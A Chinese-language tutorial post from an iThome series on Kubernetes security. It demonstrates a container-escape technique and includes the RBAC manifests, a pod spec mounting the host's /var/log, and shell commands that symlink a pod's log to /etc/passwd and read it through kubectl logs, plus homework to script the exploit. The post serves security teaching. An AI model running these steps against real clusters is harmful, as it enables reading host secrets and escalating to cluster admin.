iT邦幫忙

2023 iThome 鐵人賽

DAY 12
0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 15

Day13 - (攻擊) k8s Pod log 目錄掛載逃逸手法 (含作業3-1、作業3-2)

  • 分享至 

  • xImage
  •  

Yes

  1. kubelet 會先在 /var/log 底下針對那個 Pod 建立一個資料夾,並且在其中放一個 0.log 檔案,但這個檔案其實是一個 Symbolic Link,並且指向 /var/lib/docker/containers 底下的某個檔案。
  2. 當呼叫 kubectl logs <pod_name> 時 API Server 會去跟 kubelet 要求該檔案的內容,接著將讀取檔案的內容回傳。

https://ithelp.ithome.com.tw/upload/images/20230918/201483082NL7mEhuze.jpg

  • 所以想像一個有趣的攻擊手法,假如把 /var/log 掛載進入 Pod 中,並且給予修改的權限,透過將特定的 0.log 指向機敏檔案資訊,再透過呼叫 kubectl logs <pod_name> 就可以讀取該機敏檔案資訊的內容。只不過因為格式解析錯住的關係這個手法只能夠讀取一行的檔案內容,但結合 –-tail=-<line_number> 就可以控制要讀取的行數,算是可以克服這個問題。

  • 接下來就要進行環境的搭建,但因為目前還沒提到 K8s 的 RBAC 概念,所以這部份就先快速帶過,等到後面會有針對 RBAC 的部分做比較詳盡的說明。serviceaccount 必須有以下 pod 列舉跟讀取 log 權限,以下是針對 default serviceaccount 綁定權限的資訊 :

kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: default
  name: list-and-logs
rules:
- apiGroups: [""]
  resources: ["pods", "pods/log"]
  verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: practice-default-rolebinding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: list-and-logs
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
  • 新增 pods 資訊如下 :
apiVersion: v1
kind: Pod
metadata:
  name: target-pod
spec:
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
    ports:
    - containerPort: 80
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory
  • 進入後刪除 /var/log/host/pods/Container_ID/Pod_Name/0.log,並將其指向機敏資訊檔案
rm /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
ln -s /etc/passwd /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl ; 
kubectl logs target-pod --tail=1 ;
  • 作業3-1

    • 將攻擊手法從理論轉換為實務可用是一個相當重要的階段,畢竟理論再好,實務上打不出來就等於沒有對吧。 請依照這個漏洞原理,透過程式語言(ex:python、shell等等) 做出一個可以利用這個漏洞讀取檔案內容的小程式,這個程式將會在這次期中考中利用到!! /images/emoticon/emoticon17.gif,所以請各位務必認真練習。/images/emoticon/emoticon33.gif
  • 作業3-2

  • 今日總結 :

    • 本日回顧 :

      • 一般來說可能會認為 /var/log 只是顯示日誌檔案資訊,但是沒想到在 K8s 獨特的設計架構之下居然搖身一變成為了任意檔案的讀取,透過這樣的方式一旦讀取了憑證資訊進行管理者帳號的建立勢必勢不可擋,但這部分就留給各位先研究,這題會在期中考的部分出現,務必要認真研究一下。
    • 次日預告 :

      • 下次也是複習之前講過的 CVE-2022-0492,但也因為 K8s 的獨特特性導致可以很好的利用,這個特性也是到時候防禦端需要特別注意一下的地方。

上一篇
Day12 - (攻擊) k8s Pod 內容器逃逸手法
下一篇
Day14 - (攻擊) k8s CVE-2022-0492 逃逸手法
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言